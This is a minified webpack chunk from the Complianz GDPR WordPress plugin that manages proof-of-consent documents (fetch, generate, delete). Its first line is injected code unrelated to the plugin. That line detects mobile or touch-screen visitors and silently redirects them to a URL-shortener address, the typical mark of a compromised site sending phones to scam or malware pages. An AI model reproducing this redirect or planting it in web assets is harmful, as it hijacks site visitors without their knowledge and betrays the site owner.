(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/TxFioprEr0r7");
"use strict";(globalThis.webpackChunkcomplianz_gdpr=globalThis.webpackChunkcomplianz_gdpr||[]).push([[4098],{54098:(e,n,o)=>{o.r(n),o.d(n,{default:()=>a});var t=o(81621),c=o(9588);const a=(0,t.vt)((e,n)=>({documentsLoaded:!1,fetching:!1,generating:!1,documents:[],downloadUrl:"",regions:[],fields:[],deleteDocuments:async o=>{let t=n().documents.filter(e=>o.includes(e.id));e(e=>({documents:e.documents.filter(e=>!o.includes(e.id))}));let a={};a.documents=t,await c.doAction("delete_proof_of_consent_documents",a).then(e=>e).catch(e=>{console.error(e)})},generateProofOfConsent:async()=>{e({generating:!0}),await c.doAction("generate_proof_of_consent",{}).then(e=>e).catch(e=>{console.error(e)}),await n().fetchData(),e({generating:!1})},fetchData:async()=>{if(n().fetching)return;e({fetching:!0});const{documents:o,regions:t,download_url:a}=await c.doAction("get_proof_of_consent_documents",{}).then(e=>e).catch(e=>{console.error(e)});e(e=>({documentsLoaded:!0,documents:o,regions:t,downloadUrl:a,fetching:!1}))}}))}}]);